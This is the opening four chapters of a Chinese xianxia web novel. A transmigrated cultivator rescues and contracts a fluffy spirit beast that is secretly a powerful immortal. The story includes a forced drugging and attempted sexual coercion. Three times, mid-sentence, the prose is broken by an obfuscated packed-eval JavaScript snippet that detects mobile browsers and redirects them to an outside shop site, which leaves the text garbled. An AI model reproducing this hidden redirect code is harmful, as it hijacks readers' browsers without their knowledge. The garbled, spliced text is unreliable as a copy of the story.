《无情道仙尊怀了我的崽》 1. 第 1 章 娄危雪是个重度绒毛控,曾经每天都沉迷于刷各种萌宠视频,最大的愿望就是赚到钱后养一个萌萌哒漂亮宠物,每天抱着她入睡,睁开眼就撸它。 可她穿进这本修仙文已经一年多了,却还没契约到一个喜欢的灵兽。 主要是这个世界的灵兽都实在太高大威武了,看上去就是那种巨凶残能打的样子,一点也不可爱,完全无法满足她抱在怀里随意撸的私心。 娄危雪轻叹一声,走出小屋准备采些野果吃,刚走进低矮的树丛,就听到了几声微弱的哼唧声。 她不由顿住脚步,循着声响走去,很快便发现了草丛里的异常。 凑近一瞧,只见一个通体雪白的团子缩蜷着,小小的一团,脸埋在爪子里露出杏仁大的圆眼睛,看上去好像长毛狮子猫,头顶还长了两个小小的角,时不时地发出一两声奶凶的嗷呜声。 仅仅一眼,娄危雪的心都要化了。 这简直就是她的梦中情兽啊! 难道是贼老天终于听到她的心声,给她送灵兽来了? 娄危雪满心欢喜,蹲下身体伸手朝白团子摸去。 白团子身上的毛顿时炸开,想要逃跑,可是被陷阱困住的她根本动不了,反倒因为动作,让伤口撕裂得更加严重。 鲜血在白色的皮毛上一点点浸染开来,娄危雪这才看到白团子被陷阱夹伤的后腿。 嗷呜,白团子忍不住痛苦地哼叫一声,糯叽叽的嗓音,让人心生怜悯。 天杀的,不知道是哪个缺德的布置的陷阱! 娄危雪皱眉,立刻丢了个法诀过去,陷阱被破开。 “小家伙,你很疼吧。”娄危雪伸出手,一点点朝白团子靠近,温声安抚着警惕的白团子,“别怕,我不会伤害你的。” 也许是她的声音太过温柔,语气过于无害,白团子暂时没有多的动作。 娄危雪的手终于触上宛如白雪的皮毛,那如绸缎般的触感,让人忍不住多摸了两下。 “小家伙,我看看你的伤口。”她小心朝白团子的后腿探去,那里的皮毛已经被血染湿,丝丝缕缕地纠结在一起。 拨开附近的白毛,娄危雪仔细地检查了一番,好在只是皮外伤,没伤到筋骨。 施了个凝水决,简单地清洗了下伤口,又取出治疗伤口的灵药洒在白团子的伤口上,用手帕仔细包扎好。 “好了。” 白团子哼唧几声,虚弱地趴在地上,小小的身体蜷缩在一起,宛如一个雪做的团子。 简直太可爱了!这谁受得了! 娄危雪满目怜爱,“小家伙,这山林危险,你又受了伤,跟姐姐回家吧,姐姐会好好对你!” 她说着,试探地朝白团子伸出手,白团子只是恹恹地看了她一眼,没有多余的动作。 娄危雪心中一喜,立刻抱起白团子。 感受到怀中那小小的一团,娄危雪心都要化了。 她抱着白团子就要走,身后却传来一道声音。 “站住!” 怀里的白团子再次炸毛,娄危雪安抚地轻拍两下。 她止步,朝身后望去,不远处有三个女子正摇着腰肢朝她走来,她们面容姣好,身着长裙,外罩绯色纱衣,露出胸口前的一大片肌肤。 来人在近处停下,走在最前面的女子扫了眼娄危雪脚边的陷阱。 “这陷阱是你破坏的?” “是我,怎么了?” 娄危雪容貌稠艳,狭长眼尾微微上翘,眼角下一点小痣,目光流转间分外勾人,白色的长裙非但没有压下她的颜色,反倒衬得她如水墨画上的一点桃花,艳丽逼人。 为首的女子这才看清娄危雪的面容,顿时目露惊艳,她已经好久没看到这般美人了。 “我是合欢宗的弟子,虞欢,这陷阱是我们合欢宗布置的,你怀里的那个东西是被我们布置的陷阱抓住的,理应是我们的东西。” “美人,你把它带走,是不是要问问我们的意见啊?” 好哇!原来就是你们这杀千刀的!布置的陷阱! 这要是平时娄危雪早就找人算账去了,可是现在不行。 虽然对面的人修为不如她,但是也不比她低多少,而且她们有三个人。 最重要的是她这次是偷跑出来的,不宜生事端。 压下心底想打人的冲动,娄危雪皱眉。 “你想怎么样?” 虞欢勾起唇角,“这小兽呢,我可以让给你,不过我有个条件。” “什么条件?” “只要你和我回合欢宗双修,别说这只小兽,哪怕是我这个人也可以是你的。” 虞欢语气轻佻,摇着腰肢朝娄危雪缓缓靠近,跟着虞欢一起来的两个合欢宗弟子,闻言露出一阵笑声。 “哈哈哈,虞师姐,这要是被你现在的那些个床伴知道,可不得醋死。” “这怪不得虞师姐,谁叫她长了这副狐媚样,不就是勾人上的吗?” “是啊,就连生气,也这么勾人。”虞欢说着,竟然伸手朝娄危雪的脸摸去。 娄危雪原本不想起冲突,可是来人这么过分,这谁忍得了! “滚开!” 她迅速凝出一道法诀,朝虞欢打去。 虞欢见状立刻闪身,护身的法诀笼罩在周身,可是娄危雪的修为比她高,法诀凝出的屏障瞬间破碎,虞欢被打得后退好几步,脸色发白。 “虞师姐!” 两个跟班紧张无比,忙上去搀扶。 虞欢面色阴沉,一把甩开两个跟班。 “敬酒不吃吃罚酒!我今天还就要定你了!” “给我一起上!” “是!” 三人拔出腰间佩剑,朝娄危雪袭去,剑光乍现。 娄危雪立刻掐指打出一道法诀击碎剑光,又抽出腰间软件,和三人缠斗在一起,灵光交织。 对方有三个人,娄危雪还要护着怀里受伤的白团子,随着时间推移,逐渐感觉到吃力。 道道灵气打在她的身上,原本雪白的衣袍被划破,一道道细小的伤口出现在娄危雪的身上,鲜血染红白衣。 一剑挡住面前袭来的人,身后白光闪过,娄危雪咬牙发力击退面前的人,侧身躲过身后的剑光,可左侧又袭来一剑。 不好! 娄危雪被偷袭,猛地吐出一口鲜血。 虞欢趁机扔出捆仙锁,金色的锁链缠绕上娄危雪的身体,将人给牢牢捆住。 “放开我!” 娄危雪挣扎,但是捆仙锁这东西哪是那么好挣脱开的。 “现在可由不得你了!” 虞欢冷笑一声,拿出一包药粉,捏住娄危雪的脸,迫使人张口,直接全都倒了进去。 娄危雪呛咳不止,眼尾因为咳嗽迅速飞上一抹红色,眼中水光泛滥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593594|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,波光潋滟,看得合欢宗的三人眼睛都直了。 虞欢心底的怒气在眼前的艳色中消散许多,她伸手轻轻抚上娄危雪的面颊。 “啧啧啧,真是美人啊,瞧这小模样,纵是人有滔天的怒火,也能在这美色中消弭了去。” 娄危雪好不容易止住咳嗽,她怒目瞪去。 “你刚刚给我吃了什么!” “合欢散,这可是我们合欢宗的好东西,等一会啊,那合欢散一发作,你只会求着我和你双修。” 虞欢的手指在娄危雪面上流连,目光逐渐灼热,她好像已经有些等不及了。 那手指越来越过分,揉上娄危雪被血染的艳丽的唇。 “你放心,姐姐不会亏待你的,和我双修,你的修为也会跟着涨的。” “什么?涨修为?”娄危雪故意装作被吸引的模样,“你说的是真的吗?” 虞欢见娄危雪动摇,靠近娄危雪的耳边低语,诱惑道:“当然是真的,我们合欢宗就是靠着双修来增进修为的,这样既可以得到快乐,又能得到修为,岂不是两全其美。” “如果真的是这样,那我……”娄危雪憋了口气,脸颊微微发红。 她害羞般低喃,“我愿意和姐姐双修。” “哈哈哈,”虞欢笑得花枝乱颤,胸前的波浪跟着上下起伏。 她是合欢宗的,这床伴换了不少,其中也有不少是掳来的,一开始也有些道貌岸然的人嘴上说着不愿意,可后来体会到了个中乐趣,甚至还求着她要双修。 “美人真是懂事。” 娄危雪的脸更红了,虞欢有些按捺不住了,手指朝娄危雪的领口钻去。 眼见着就要探入,娄危雪急忙出声,“姐姐等等!” “怎么?你反悔了?” “没有,只不过我是第一次,可不可以……可不可以让她们离开,我不想她们看到。” 虞欢心痒难耐,况且娄危雪被捆仙锁绑着,虞欢不怕娄危雪做出什么对她不利的事。 她给两个跟班使了个眼色,“你们先去远处守着。” “是。” 两名跟班娇笑两声,识趣地走远了。 等人走后,虞欢迫不及待地扑向娄危雪。 “美人,你放心,姐姐会好好疼爱你的。” 娄危雪脚步微动,闪身躲过虞欢。 “姐姐,你别着急嘛。” “你还想干什么?” “我已经吃了姐姐喂的合欢散,姐姐何不直接把我身上的捆仙锁解了?这样……”娄危雪抿唇,笑得糜艳,“……我也好配合姐姐。” 虞欢简直喜欢死了娄危雪这小模样,只是她还没昏了头。 不过一直用捆仙锁绑着全身,确实碍事。 虞欢伸手点上娄危雪身上的捆仙锁,捆仙锁转动,最终只缠绕住了娄危雪身前的双手。 “哈哈哈,这样,就不碍事了。” 这次虞欢没给娄危雪躲避的机会,将娄危雪扑倒压在身下的草坪上,发簪掉落,三千乌丝顿时如水散开,铺在娄危雪身下。 白肤墨发,红唇灼艳。 虞欢目露痴迷,迫不及待地伸手去解娄危雪的衣服。 娄危雪面上不显,但方才虞欢落在地上的发簪乃是上品法宝,是用来防身保命的,不用则已,用则必见血。 此刻已经被她悄悄摸到手中,伺机催动法器。 2. 第 2 章 世上有法宝,品阶为四,法器、宝器、灵器、神器,其中又分上中下三品。 而她的这个红莲发簪,是上品法器。 身前的衣服已经被解开了些许,娄危雪修长的脖颈暴露在空气中,虞欢的呼吸变得急促。 “美人,姐姐会好好疼你的。” 她俯首埋下,娄危雪却猛然发难,一脚踹开虞欢,同时操控发簪朝虞欢刺去,虞欢顿觉不妙急忙躲闪,红光从虞欢的眼睛上方划过,鲜血流下,宝器带来的灼烧疼痛让虞欢睁不开双眼。 她痛苦嚎叫,“啊!我的眼睛!” 娄危雪不敢耽搁,趁着那两个跟班没来之前,抓起之前掉在地上的白团子,转身就跑。 如果这次再被抓到,她恐怕就没那么好的运气了。 一边跑,她一边运转灵力,想要解开手上的捆仙锁,可是娄危雪与那三人大战一场,体内灵力本就不多,加上又受了伤,根本解不开这捆仙锁。 这个时候被娄危雪抱着的白团子动了,小兽埋首在娄危雪的掌心,张嘴嗷呜一口咬上捆仙锁。 白光泛起,捆仙锁发出不堪重负的声响,咯嘣一声,锁链落地。 叫娄危雪挣脱不得的捆仙锁,竟然就这么被咬断了。 娄危雪眼中划过一抹诧异,这是什么灵兽,竟然能轻易地咬断这捆仙锁。 虽然娄危雪好奇白团子的身份,但是不过眼下情况由不得她多想,她疯狂压榨着自己的丹田,运转起所剩不多的灵气,风声在耳边呼啸,直到一处泉边,娄危雪才停下。 泉水之上笼罩着一层淡淡的雾气,周遭植物茂盛,还有不少灵草。 娄危雪小心地将怀中的白团子放出,可是白团子的状态不太好,软趴趴的没有动弹。 她担忧地查探白团子的情况,白团子后腿上的伤口不知道什么时候再次裂开,体内没有一丝灵气,除此外竟似还有别的内伤。 “怎么会这样。” 白团子应该是为了救她,才耗费了身上的灵气以至于没能压制住内伤。 娄危雪焦急不已,如果再这样下去,白团子恐怕会有生命之忧。 不行!她不能就这么看着白团子死去! 眼下只有一个办法了。 娄危雪手腕反转,手指交错施法,一道结契的灵诀被打出,笼罩住白团子的周身。 她以指为刀,取一滴自己的眉间血,血滴飘起,落在白团子的眉心。 在血滴落下的瞬间,白团子虚弱呜咽几声,似在挣扎。 “小家伙,我会好好对你的,不要抵抗,不然你会死的。” 娄危雪一点点地安抚,传达着自己的善意。 不知道是白团子太虚弱了,还是娄危雪的安抚起了作用,血滴一点点地渗入白团子的眉心。 法阵纹路在两人身下闪现,又渐渐隐去,契约缔结成功。 娄危雪松了口气,借助契约为白团子疗伤,白团子的状况虽然依旧算不上好,但是没有再继续恶化,原本虚弱的呼吸也慢慢变得平稳。 直到确认白团子的情况彻底安稳下来,娄危雪泄力般地仰躺在地上。 白团子趴在她的胸口,小小的身体随着呼吸上下起伏。 娄危雪喘了口气,紧绷的心神松懈,这才感觉身体不对,一股热意自身体深处传来,搅得她头脑发昏,浑身燥热。 “该死。” 不用多想,肯定是之前虞欢给她喂的合欢散发作了。 娄危雪撑着口气,将白团子放到一边,自己走进边上的泉水里。 泉水冰凉,带着灵气冲击着娄危雪的经脉,也带走了她的一丝燥热。 但显然合欢散并不是那么好解的,热意很快便重新上涌,甚至比之前的来势更加凶猛,娄危雪难耐地喘息,手指扒拉着自己的衣服,可是并没有太大的作用,她的神志很快陷入一片混沌。 岸上,一道白光闪过,原本的白团子消失无踪,取而代之的是一个女子。 那女子身着白衣,肌肤似雪,眉目清冷,整个人宛如高山的冰雪,寒冷侵入叫人不敢亲近,可面颊上如霞的绯红,此刻却破坏了她周身的气质。 她看了眼泉水里的娄危雪,冰冷的双眸染上怒意。 “蠢货!” 沈清鸿是天一宗的大师姐,此次离开宗门,是为了解除和云岚门大小姐的婚事,谁知道中途顿悟修为突破。 修仙者修道问天,每逢突破必有雷劫。 沈清鸿修为是突破了,却也被雷劫劈成了一只小兽,还是一只沈清鸿自己都不知道是什么的小兽,做人做了二十载的清鸿仙尊灵识受到巨大冲击。 屋漏偏逢连夜雨,没等她弄明白是什么情况,就被合欢宗人做的陷阱捕到,最后更是为了救娄危雪耗费完了自己恢复过来的一点灵气,阴差阳错下被人给当灵兽契约了! 那滴用来契约的血,也把娄危雪身上的合欢散之毒,渡到了她的身上,连累她也中了合欢散。 身上的躁意灼烧着沈清鸿的神经,她冷脸走入泉水。 现在她们两人合欢散发作,如果不立刻纾解,最后只会爆体而亡。 娄危雪只感觉身上越来越热,眼前是飘散的水雾,迷蒙间她见一出尘如仙的女子朝她走来。 这是幻境吗?世上怎么会有这么好看的人? 娄危雪无意识地朝女子靠近,“你是来救我的神仙姐姐吗?” 女子没有答话,反而恼怒地瞪了娄危雪一眼,如冰雪染霞,叫娄危雪一眼沦陷。 她忍不住伸手将人拉入怀中,被泉水打湿的衣袍紧紧贴在身体,勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593595|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勒出女子完美的轮廓。 沈清鸿脚下发软,唇齿间不禁泄露出一丝声音,她没想到娄危雪竟然如此孟浪,顿时羞愤交加。 “混账!” 沈清鸿挣扎着想要让娄危雪放开她,可是因为契约的作用,她很难拒绝娄危雪。 娄危雪的胳膊收得更紧了,她埋首在沈清鸿的颈边,唇瓣擦过沈清鸿的脖颈,给人带来一阵战栗。 泉上水雾翻涌,遮住两人交叠的身影。 长夜过去,清晨的微光洒在泉水之上,波光荡漾。 娄危雪是在岸上醒来的,怀里抱着个白团子。 她坐起身,浑身没有任何不适,经脉内灵力充足,甚至连修为都更上一层。 感受了一下身体的状态,娄危雪连连称奇。 “真是想不到,这山泉水竟然还有这种功效。” 不过想到昨晚,娄危雪忍不住红了脸。 她低头揉了一把怀中已经醒过来的白团子,看着那毛茸茸的一小团,笑得一脸荡漾。 “小家伙,我昨晚梦到神仙姐姐了,她可真好看啊。” “如果世上真的有这样的人,那我一定娶她做老婆!” 已经重新化为灵兽的沈清鸿闻言,一爪子挠了过去。 还好娄危雪反应快,躲开了。 她啧啧两声,“你这小家伙,看着小小一只,没想到脾气还挺大。” 沈清鸿气得不行,但是她功力受损无法出言,只能发出小兽的叫声,偏偏那声音还软乎乎的,没有一点威慑力。 娄危雪一颗心瞬间就软了,她抱紧白团子,埋在白团子身上猛吸好几口。 “呜呜呜,你怎么连生气都这么可爱!” 感觉被骚扰到的沈清鸿,伸爪拍上娄危雪的脸,娄危雪非但不生气,反倒还抓住了白团子的前肢。 “哇,是粉嫩的小爪子!” “嗷呜,嗷呜!” 白团子在娄危雪怀里挣扎个不停,但是娄危雪却始终没有放手,抱着团子上下其手。 她穿书过来这么久,终于能有自己的灵兽了!还这么的可爱! 沈清鸿折腾到最后没了力气,只觉得兽生艰难。 娄危雪把白团子大吸一通后,满足了。 看着怀里那生无可恋一小团,娄危雪眼中含笑。 “小家伙,你现在是我的灵兽了,我给你取个名字吧。” 她伸手轻轻抚摸着白团子,“你看你啊,皮毛长得这么白,如果在冬天,把你往雪堆一放,就变成雪团子了。” “六出为雪,你叫六六怎么样!” 沈清鸿觉得实在是不怎么样,她嗷呜出声表示拒绝,可是娄危雪根本就不买账。 “看来你也很喜欢这个名字,那你以后就叫六六了!” 3. 第 3 章 沈清鸿愤怒无比,但是她现在受了重伤,根本无法拒绝只能愤怒的发出怒吼,但在娄危雪听来更像是是奶呼呼的叫声。 她顿时越发爱了,忍不住搂着白团子揉搓了好一会,才站起身。 她已经出来一天了,也该回去了。 “六六,走,我带你回家!” 揣紧怀里的白团子,娄危雪走向回家的方向, 这次没有人追她,娄危雪走的优哉游哉的,一边走还一边采摘野果。 大概半个时辰后,娄危雪抱着白团子回到居住的地方,远远的瞧见了她亲手搭建的小屋,小心的四下张望了一番,见没有人追来,才慢悠悠的走过去。 其实她是穿书过来的,剧情中她是霸占女主身份的假掌门之女,妥妥的恶毒女配。因为害怕身份被揭露屡次想要置女主于死地,最终被里面的深情女二清鸿仙尊生剖内丹,万剑凌迟而死。 而这位清鸿仙尊还是原身名义上的未婚妻,为报师仇改修无情道,端的是狠辣绝情。 想到自己书中的悲惨遭遇,娄危雪一阵泪目,然后果断选择跑路,惹不起她躲着还不行嘛,不管是女主还是女配,通通给她退散啊!她只想安稳的过自己的小日子啊! 默默祈祷着自己消停的日子能过久一点,娄危雪推开屋门,走进屋内。 把白团子放下后,娄危雪拿下腰间装野果的储物袋,将沿路采摘的野果一股脑的倒在一个储存用的筐中,这一下竟然直接装了小半框。 “大丰收啊!” 娄危雪美滋滋的挑了几个又大又红的果子,拿到小溪边清洗。 她把洗净的一颗果子,放到白团子的前爪边。 “六六,吃果子。” 沈清鸿眼睛都没睁开,她不叫六六。 娄危雪哪是那么容易放弃的人,见白团子不动弹,抬起白团子的爪子,把果子放在爪下。 “六六,别挑食,你已经一天没吃东西了。” 沈清鸿用力抽爪,还顺便一爪子把果子给拍远了。 娄危雪看了眼被拍到小桌那头的果子,干脆伸手,不顾白团子的挣扎一把将白团子抱起放到腿上。 她不依不饶,再次把果子拿回来,递到了白团子的嘴边。 “六六,你还受伤,必须吃东西!” “这可不是普通的野果,是有灵力的灵果,你吃了对你的伤口有好处。” 昨晚娄危雪泡的泉水周边生了不少植物,这灵果就是在那附近摘到的,虽然果子里蕴含的灵气不多,但是聊胜于无。 “六六,吃果子。” “六六,听话。” “六六……” 娄危雪念叨着,还时不时的伸出手指戳白团子一下。 沈清鸿被烦的不行,只觉得脑袋变转着的都是“六六”这两个字。 不甚其扰的沈清鸿,最终还是伸爪,抓住了野果。 小小的一团,抱着个有她半个脸大的果子,正小口小口的吃着,别提有多可爱了。 娄危雪一颗心都软了,人类不能没有毛茸茸! 趁着白团子在吃果子,沈清鸿快速的在白团子身上揉了一把,然后正在啃果子的白团子就不动了,抬眸盯着娄危雪。 娄危雪感觉自己似乎在白团子的脸上,看到了谴责。 她咳嗽一声,尴尬的摸了摸鼻子。 “不要这么小气,你是我的灵兽了,让我摸一下也不会怎么样。” 白团子没有动,还是盯着娄危雪。 娄危雪无奈妥协,“好吧,好吧,你吃,我不摸你就是了。” 得到承诺,已经辟谷多年的清鸿仙尊,这才重新开始吃果子。 娄危雪自己也拿了颗果子开始吃,果肉清甜,汁水浓郁,味道还是很是不错的。 几颗果子下肚后,娄危雪饱了,她清理了下自己,又仔细的给白团子擦了毛发。 这一擦起来,娄危雪就有些停不住手了。 呜呜呜,怎么会有这么好摸的白团子! 这蓬松松的毛发,真的不是白云变得吗! 沈清鸿感受到背上摸个不停的手,脸瞬间黑了,一爪子挠了过去。 娄危雪的手背上顿时出现几道红痕,她嚎叫一声,眼里闪着泪光。 “不亏,不亏,摸到就是赚到!就算受伤也值了!” 沈清鸿有些无语,她好像遇到奇怪的人了。 见白团子好像呆住了,娄危雪小心翼翼的伸手还想去摸,结果再次被白团子拍开。 屡次三番,直到日上三竿,娄危雪才消停。 “六六,你在这乖乖的嗷,我该修炼了。” 恋恋不舍的把白团子放到一处软椅上,然后娄危雪找了个地,盘腿坐下,闭上眼睛开始吐纳修炼。 这世上境界由低到高分别是:炼气,筑基,结丹,金丹,元婴,出窍,化神,大乘,渡劫,每个境界又分为初期,中期,后期。 娄危雪现在只是个结丹境的修士而已,虽然现在这具身体还没遇到女主,也没做什么错事,但是她总得为以后考虑。 只有自身的修炼是实打实的,为了小命,她必须得好好修炼! 灵气随着娄危雪的吐息在周身浮动,沈清鸿没想到娄危雪这么快就进入了状态,不过这样也好,她也需要调理身体的灵力。 小白团子端坐身体,开始运转功法。 一人一兽,这一修炼就是好几个时辰,等娄危雪再次睁眼的时候,小屋内一片黑暗。 她拿出几颗夜明珠放在屋内留出的灯台凹槽内,顿时满室光辉。 白团子趴在软椅上,手手踹在一起,脑袋枕在前爪上睡成一团。 娄危雪满心柔软,修炼完就能看到毛茸茸的感觉实在是太美好了! 她没去打搅白团子,用屋内之前剩下的一些食材,简单做了个晚饭,这才把白团子叫醒。 “六六,吃饭。” 实际上,早在娄危雪修炼结束之前沈清鸿便已经结束了运功,只是她一直没睁眼而已。 沈清鸿已经辟谷,可以不用吃东西,但是如果不吃,娄危雪肯定会一遍遍的纠缠她。 看着面前的东西,小白团子叹了口气,选择了妥协。 月亮越升越高,溪水在月色下泛起泠泠波光。 娄危雪掐指使了个引水决,细细的溪水悬空浮起,又在她的指引下,悉数汇聚落入一个木盆中。 她带着打好的水回到小屋中,“六六,洗澡啦!” 原本趴在软椅上没什么反应的白团子,在这句话中瞬间炸毛,一双小巧的耳朵直挺挺的立在脑袋上。 娄危雪伸手去抱白团子,白团子立刻伸出爪子,朝面前的手挠去。 见状娄危雪立刻给手上附了层法诀,没有丝毫犹豫的抓住白团子。 “听话,你要做一个干净的灵兽,知道了吗?” 沈清鸿是想洗澡,但是绝对不是要娄危雪来帮她洗!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593596|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗷呜呜!嗷嗷!呜!” 她想要训斥这个对她不敬的人,但是却根本说不出人言。 白团子挣扎个不停,两只前爪使力,在空中划出一道道的波痕。 “别叫啦,只是洗个澡而已,不会怎么样的!” 娄危雪一边躲闪,一边快速调动契约法诀,禁止这个挣扎不停的小白团子释放灵力,然后以迅雷之势将团子给按到水里。 一身皮毛被水打湿,湿漉漉的粘在身上,原本蓬松的白团子,变成小小一条。 沈清鸿气的不行,眼睛都红了,想她清鸿仙尊,天一门的大师姐,什么时候被人按着洗过澡! 由于受制于契约,她现在用不出一丝灵力,只能用自己本身的力量挣扎。 “嗷嗷嗷!!!” 水花四溅,有不少被打到娄危雪的衣服上,但是娄危雪毫不在意。 她伸手按住白团子,撩起清水给白团子清洗着毛发。 白团子爪子扑腾个不停,只是不带灵力的抓挠,对于娄危雪这个修炼之人来说不过是挠痒痒,造不成一点威胁。 一边洗,她还一边念叨。 “六六你太瘦了,我得多给你准备点吃的,让你好好的补补身体了。” “你放心,我一定会给你养的健健康康的。” “等你跟我跟久了,就知道我有多好了。” 洗完这面,娄危雪还给白团子翻了个面,她控制住白团子的爪子,露出柔软的肚皮。 “哎呀,原来我们家六六是女孩子啊。” 听到这句话的清鸿仙尊羞愤欲死,在爪子都被控制的情况下,堂堂清鸿仙尊,竟然侧头张嘴,一口咬住娄危雪的胳膊。 尖锐的牙齿,带着沈清鸿的满腔愤怒,竟然还真在娄危雪的胳膊上咬出一个小口子。 不过娄危雪丝毫不在意,继续伸手给白团子清洗,顺便吃白团子的豆腐。 “呜呜呜,好软的肚肚!怎么会这么软!” “还有这个小尾巴,真是太好摸了!” “虽然六六你脾气爆,但是不妨碍你可爱啊!” …… 等娄危雪给白团子彻底清洗完后,她的衣服已经全湿了。 将白团子从水里捞起来,法诀闪过,只见白团子原本还湿漉漉的毛发瞬间变得蓬松,如一团软绵绵的白云。 “好啦,叫的这么凄惨,不知道的还以为我把你怎么了呢。” “你看,这不是已经洗完了吗?” 她笑着将白团子固定,又取出治疗伤口的伤药,将药粉倒在白团子后腿的伤口上。 这药还是娄危雪从宗门里偷溜时带出来的,她现在的身份还是掌门之女,这药富含灵力,自然是不会差到哪去。 不过是一天的时间,白团子腿上的伤口就已经愈合了一些。 “看样子,再过个几天,你的伤口就能彻底痊愈了。” 娄危雪把白团子腿上的伤口重新包好,将白团子放到床榻上。 沈清鸿整个团子都不好了,趴在床上一动不动,感受到了巨大的冲击。 天一宗是当世修仙门派之首,而沈清鸿正是天一宗的大师姐,自幼修行又常外出除魔,解决了不少祸端,声名远扬,又因境界之高,其他修仙门派见到她都恭恭敬敬的称她一声清鸿仙尊。 可是现在!!! 她一个化神境的修士,竟然被一个结丹期的少女按着洗了全身!甚至毫无反抗之力! 4. 第 4 章 娄危雪看着生无可恋的白团子,心情愉悦。 六六第一次洗澡不适应,这很正常,等以后让六六多适应适应就好了。 将屋里的水全部用法诀烘干后,娄危雪自己去小溪边洗漱了一番。 夜晚,躺在床上,她一把将白团子抱入怀中。 作为一个绒毛控,当然要时刻和团子在一起! 沈清鸿嫌弃的用爪子扒拉娄危雪凑过来的脸,可是娄危雪的脸都被推变形了,却还死命的往这边靠。 “六六,让我抱一会,我保证不做别的事情!只是单纯的抱一下!抱一下就好!” 沈清鸿从来没遇到过这样的人,若是以前她就直接甩袖离开了,可是现在不行。 白团子的眉毛皱在一起,纠结了好一会,还是无奈妥协的收回爪子。 日子就在娄危雪一次次的被挠中过去,沈清鸿凝滞的经脉变得通顺,内伤在缓慢好转,腿上的伤口逐渐愈合。 之前白团子伤口没好的时候,娄危雪机会是走到哪就把白团子抱到哪,不让白团子动一下后腿,现在绷带被拆,白团子被娄危雪放开。 得到自由的第一时间,沈清鸿立刻选择远离娄危雪,她下意识的迈动左后爪,结果…… “噗嗤。” 怎么有灵兽平地摔啊! 娄危雪看着桌上身体前倾,结果以头抢地的白团子,忍不住笑出声。 “嗷呜!” 白团子朝娄危雪威胁的呲牙,如果没有皮毛,娄危雪一定能看到白团子脸上的羞愤。 “咳,”娄危雪收敛表情,“我没有笑。” 可是她这个状态不过只维持几秒,肩头抖动,再次忍不住的笑起来。 “哈哈哈,对不起,我就笑一会。” 沈清鸿抬起爪子,毫不客气的打出一爪。 娄危雪被打到,脸上顿时出现一个小小的灵兽爪印。 她疼的咧嘴,“六六我就笑一下,你怎么还动手啊!” “而且打人不能打脸的!” 沈清鸿下手知道轻重,她没有看娄危雪,开始和自己较劲,做了二十几年的人,这还是沈清鸿第一次用四个爪子走路。 她思考着以前见到的灵兽的走路方式,迈出右前肢的同时迈出左后肢,然后是左前肢和右后肢。 确认顺序之后,沈清鸿小心的迈出步子,刚开始的时候她走的很慢,可是渐渐便步入佳境,走的越来越顺畅。 娄危雪在旁边看着,笑眯眯的夸赞。 “我们六六真棒!” 沈清鸿轻哼一声,看在娄危雪眼中,就是白团子扬起脑袋哼唧一声,那小模样别提有多傲娇了。 她忍不住一把捞起白团子,埋在白团子身上深深吸了一大口。 这样还不够,看着那粉嫩的嘴巴,娄危雪忍不住凑上去。 沈清鸿立刻察觉到了娄危雪的意图,雪白的爪子横空出现,拦在娄危雪和她之间。 娄危雪没有放弃,一把抓住沈清鸿的前爪,把爪子往下放,此外还偷偷使用契约灵决,不让沈清鸿使法术。 “六六!让我亲一口!” 沈清鸿就没见过这么不要脸的人,她努力推着靠的越来越近的脸。 眼见着就要亲上,沈清鸿体内灵气翻涌,终于在娄危雪亲上之前,突破了灵兽之身的桎梏,吐出一个字。 “滚!” 娄危雪瞬间懵了,她瞪大眼睛看着面前的白团子,刚刚说话的是六六? !!! “六六,你会说话了?” 沈清鸿看着面前人的蠢样,再次出声。 “滚!” 这话说的那叫一个字正腔圆,娄危雪终于确定自家的灵兽就是说话了。 娄危雪惊喜不已,脸上是肉眼可见的喜色。 她一把搂紧沈清鸿,“真是太好了!我就说我家六六不是寻常灵兽!” 沈清鸿面无表情,语气冷漠。 “放开我。” “别啊,抱会儿嘛。” 沈清鸿见说不通,干脆直接动爪,娄危雪被扒拉开,沈清鸿从她怀里跳下,四爪踩在地上,这体验倒是新奇。 至于娄危雪,她只能眼巴巴的看着得到自由的小白团子离自己远去。 今天吃的还没着落,看着那摇晃着尾巴走路的白团子,娄危雪提议。 “六六,这几天你受伤都被我放在屋里,今天不如和我一起出去走走吧,我们去找点吃的,你还能看看风景。” 沈清鸿没有搭理她,不过却迈着小爪子朝门口走。 娄危雪知道白团子这是同意了,见状连忙跟上。 能自己走路之后,沈清鸿就不愿意叫娄危雪抱了,娄危雪连连叹气,直呼可惜。 一人一兽走走寻寻,一路上倒也收获不少。 眼看着收集的差不多了,正当娄危雪准备交白团子一起回去的时候,却见一只山鸡从远处穿过。 娄危雪眼睛顿时一亮,“像我这样的修行之人,抓只鸡简直是手到擒来。” “六六你在这看着,我去把山鸡抓了,给你补身体!” 她说着便放轻脚步,抽出腰间软剑,朝山鸡的地方走去。 